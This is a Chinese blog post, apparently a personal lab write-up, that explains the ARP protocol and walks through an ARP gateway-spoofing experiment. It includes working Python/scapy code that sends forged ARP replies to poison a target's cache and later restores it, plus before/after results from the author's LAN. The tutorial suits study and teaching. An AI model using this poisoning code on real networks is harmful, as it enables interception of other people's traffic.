这一年里学习了许多网络方面的知识，其中ARP协议被誉为“最不安全的网络协议”。
最近闲来无事，造一下轮子并且复习一下相关方面知识的印象。做了一个ARP投毒实验，感觉这东西蛮好玩的。

前言

前置说明:
ARP投毒有多种思路，本文仅以其中一个为栗子进行实验，其他方法思路基本差不多。

前置条件：

  • 基本的计算机网络基础
  • ARP协议
  • python3
  • 需要用到的库
    • scapy
  • 两台能通信的设备

ARP欺骗的方法：

  • ARP中间人欺骗投毒
  • ARP伪装网关投毒

ARP协议基础

ARP协议是什么

当一台主机和另一台主机通信，要知道目标的IP地址，但在局域网中传输数据网卡却不能直接识别IP地址，所以用ARP解析协议讲IP地址解析成MAC地址。
ARP协议的基本功能就是通过目标设备的IP地址来查询目标设备的mac地址，举个栗子：(局域网中有如下主机)

主机 IP地址 MAC地址 网关
A 192.168.2.2 Mac-a 192.168.2.1
B 192.168.2.3 Mac-b 192.168.2.1
C 192.168.2.4 mac-c 192.168.2.1

主机A会先查询自己的ARP缓存表里有没有B的联系方式，有的话，就将mac-b地址封装到数据包外面，发送出去。没有的话，A会向全网络发送一个

ARP广播包，大声询问：我的IP地址是192.168.2.2，硬件地址是mac-a，我想知道IP地址是192.168.2.3的硬件地址是多少？   
此时，局域网内所有主机都收到了，B收到后会单独私密回应：我是192.168.2.3，我的硬件地址是mac-b，其他主机不会理A的询问。
此时A知道了B的信息，同时也会动态的更新自身的缓存表

ARP报文格式

ARP报文分为ARP请求和ARP应答报文两种，它们的报文格式可以统一为下图所示：

ARP 报文总长度为 28 字节，MAC 地址长度为 6 字节，IP 地址长度为 4 字节。
其中每个字段的含义如下：

  • 硬件类型：表示ARP报文可以在哪种类型的网络上传输，值为1时表示为以太网地址。
  • 协议类型：表示要映射的协议地址类型。它的值为 0x0800，表示 IP 地址。
  • MAC地址长度：标识MAC地址长度，值为6。
  • IP协议地址长度：标识IP的长度，值为4。
  • 操作类型：用来表示这个报文的类型，ARP 请求为 1，ARP 响应为 2，RARP 请求为 3，RARP 响应为 4。
  • 源MAC地址：占6字节，标识发送设备的硬件地址。(发送方 MAC 地址)
  • 源IP地址：标识发送方设备的IP地址。(发送方设备的 IP 地址。)
  • 目的MAC地址：表示接收方设备的硬件地址。
    • 广播地址：FF:FF:FF:FF:FF:FF,局域网内所有用户都能收到
    • 单播地址：前24位为厂商地址中， Individual/Group(I/G)位为1。
  • 目的IP地址：表示接受方的IP地址。

不过这里要注意，ARP报文部署直接在网络层上发送的，它还需要向下传输到数据链路层，所以当ARP报文传输到数据链路层后，还要进行封装。不过这个实验不需要用到，因此不作说明。

基本思路

通过上面的铺垫我们知道，网络通信的实现是需要mac地址的，并且是以mac地址为准的。
假设当前主机A的ARP表记录的网关mac地址是：11:11:11:11:11:11,如果我们告诉主机A，网关的地址是:22:22:22:22:22:22。那么主机A之后发送给网关的数据包都会发送到22:22:22:22:22:22这个地址上。
这就是简单的ARP伪装网关欺骗攻击，可以结合上图进行理解，但图片来源于网络可能不太准确。
代码部分我会拆分成各个模块进行说明，实验如下：

实验代码

获取目标Mac地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
def main():
    # 指定以太网的网卡
    interface = "eth0"

    # 填写网关IP
    gateway_ip = "1.1.1.1"
    
    # 填写投毒目标IP
    target_ip = "1.1.1.1"
    conf.iface = interface
    conf.verb = 0 

    gateway_mac = getmacbyip(gateway_ip)
    #获取目标mac地址
    target_mac = getmacbyip(target_ip)
    if target_mac is None:
        print("目标IP获取失败")
        sys.exit(0)
    else:
        print("目标MAC地址： %s"%target_mac)

向主机A投毒

相比于中文翻译的报文格式，查看原生的报文格式会更容易理解。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
def attact_target(gateway_ip, gateway_mac, target_ip, target_mac):
    # 这一部分的内容上文都有详解
    # 初始化一个ARP包，并填入各项内容
    poison_target = ARP()
    poison_target.op = 2
    poison_target.psrc = gateway_ip
    poison_target.pdst = target_ip
    poison_target.hwdst = target_mac
    
    # 发送数据包，高频发送ARP包，以防给刷新
    print("正在投毒...")
    while True:
        try:
            send(poison_target)
            sleep(2)
        except KeyboardInterrupt:
            # 投毒结束，恢复目标ARP缓存
            restore_target(gateway_ip, gateway_mac, target_ip, target_mac)
            break

恢复目标ARP缓存

原理和投毒一样，只不过反了过来，自行理解。

1
2
3
4
5
6
7
restore = ARP()
restore.op = 2
restore.psrc = gateway_ip
restore.pdst = target_ip
restore.hwdst = target_mac
restore.hwsrc = gateway_mac
send(restore,count=5)

实验结果

投毒前数据

总结如下表：

主机 IP地址 MAC地址 备注
网关 192.168.2.1 18-31-bf-47-1c-98 本地网关
Windows10 192.168.2.200 靶机
Linux 192.168.2.123 00-cf-e0-40-02-60 投毒机

投毒后数据

总结如下表：

主机 IP地址 MAC地址 备注
网关 192.168.2.1 00-cf-e0-40-02-60 本地网关
Windows10 192.168.2.200 靶机
Linux 192.168.2.123 00-cf-e0-40-02-60 投毒机

由此可见，通过ARP投毒污染，靶机192.168.2.1对应的mac地址已与Linux投毒机一致，说明投毒成功。实验结束。

参考资料

ARP参考资料1：https://blog.csdn.net/u011784495/article/details/71716586
投毒污染参考资料2：https://blog.csdn.net/zhydream77/article/details/85334042